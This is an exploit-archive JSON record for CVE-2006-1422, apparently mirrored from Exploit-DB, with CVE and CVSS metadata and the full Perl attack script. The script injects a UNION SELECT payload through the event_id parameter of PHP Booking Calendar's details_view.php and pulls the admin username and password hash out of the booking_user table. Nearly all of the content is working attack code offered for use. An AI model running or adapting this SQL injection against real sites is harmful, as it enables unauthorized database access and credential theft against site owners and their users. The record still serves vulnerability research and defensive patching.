{"exploit":{"id":"EDB-5696","name":"phpBookingCalendar 10 d - SQL Injection (SQLi)","description":"phpBookingCalendar 10 d - SQL Injection (SQLi)","cves":["CVE-2006-1422"],"author":"Stack","published":"2008-05-29","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5696","path":"exploits/php/webapps/5696.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5696.pl","vulnerabilities":[{"id":"CVE-2006-1422","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in details_view.php in PHP Booking Calendar 1.0c and earlier allows remote attackers to execute arbitrary SQL commands via the event_id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-1422","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-1422"},"updatedAt":"2024-08-07T17:12:22.131Z","retrievedAt":"2026-11-26T17:08:57.616Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5696.png?v=2","url":"https://exploitbin.com/exploits/EDB-5696","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5696/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5696/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n# Portal   :PHP Booking Calendar 10 d (sql/upload) Exploit\n# Modified 2008\n# Download :  https://sourceforge.net/project/showfiles.php?group_id=132702\n# exploit aported password  crypted\n########################################\n#[*] Founded &  Exploited by : Stack\n#[*] Contact: Ev!L =>> see down\n#[*] Greetz : Houssamix & Djekmani & Jadi & iuoisn & Str0ke & All muslims HaCkeRs  :)\n################################################################################\n# Exploit-DB Note (May 28th 2012)\n# PHP Booking Calendar 10e is also affected by this\n#\n#\n########################################\n# * TITLE:          PerlSploit Class\n# * REQUIREMENTS:   PHP 4 / PHP 5\n# * VERSION:        v.1\n# * LICENSE:        GNU General Public License\n# * ORIGINAL URL:   http://www.v4-Team/v4.txt\n# * FILENAME:       PerlSploitClass.pl\n# *\n# * CONTACT:       Wanted :\n# * THNX : AllaH\n# * GREETZ:         Houssamix & Djekmani\n########################################\n#----------------------------------------------------------------------------#\n########################################\nsystem(\"color 02\");\nprint \"\\t\\t############################################################\\n\\n\";\nprint \"\\t\\t#   PHP Booking Calendar 10 d - Remote SQL Inj Exploit     #\\n\\n\";\nprint \"\\t\\t#                         by Stack                         #\\n\\n\";\nprint \"\\t\\t############################################################\\n\\n\";\n########################################\n#----------------------------------------------------------------------------#\n########################################\nuse LWP::UserAgent;\ndie \"Example: perl $0 http://victim.com/path/\\n\" unless @ARGV;\nsystem(\"color f\");\n########################################\n#----------------------------------------------------------------------------#\n########################################\n#the username of  news manages\n$user=\"username\";\n#the pasword of  news manages\n$pass=\"passwd\";\n#the tables of news manages\n$tab=\"booking_user\";\n$fil=\"details_view.php\";\n$varo=\"event_id\";\n########################################\n#----------------------------------------------------------------------------#\n########################################\n$b = LWP::UserAgent->new() or die \"Could not initialize browser\\n\";\n$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');\n########################################\n#----------------------------------------------------------------------------#\n########################################\n$host = $ARGV[0] . \"/\".$fil.\"?\".$varo.\"=-1+union+all+select+1,1,concat_ws(char(58),char(58),\".$user.\",char(58),char(58),char(58),char(58)),1,1,1,1,1,1,\".$pass.\",1,1,1 from+\".$tab.\"/*\";\n$res = $b->request(HTTP::Request->new(GET=>$host));\n$answer = $res->content;\n########################################\n#----------------------------------------------------------------------------#\n########################################\nif ($answer =~ /::(.*?)::::/){\n        print \"\\nBrought to you by v4-team.com...\\n\";\n        print \"\\n[+] Admin User : $1\";\n}\n########################################\n#----------------------------------------------------------------------------#\n########################################\nif ($answer =~/([0-9a-fA-F]{32})/){print \"\\n[+] Admin Hash : $1\\n\\n\";\nprint \"\\t\\t#   Exploit has ben aported user and password hash   #\\n\\n\";}\nelse{print \"\\n[-] Exploit Failed...\\n\";}\n########################################\n#-------------------Exploit exploited by Stack --------------------#\n########################################\n\n# milw0rm.com [2008-05-29]","sha256":"7412fd897f23e8713b4060a1f18e55e6d540a43d9b61188b5962d59ae51a89b5","bytes":3562,"fetchedAt":"2026-11-26T17:08:56.205Z","encoding":"utf-8 (display only; download retains original bytes)"}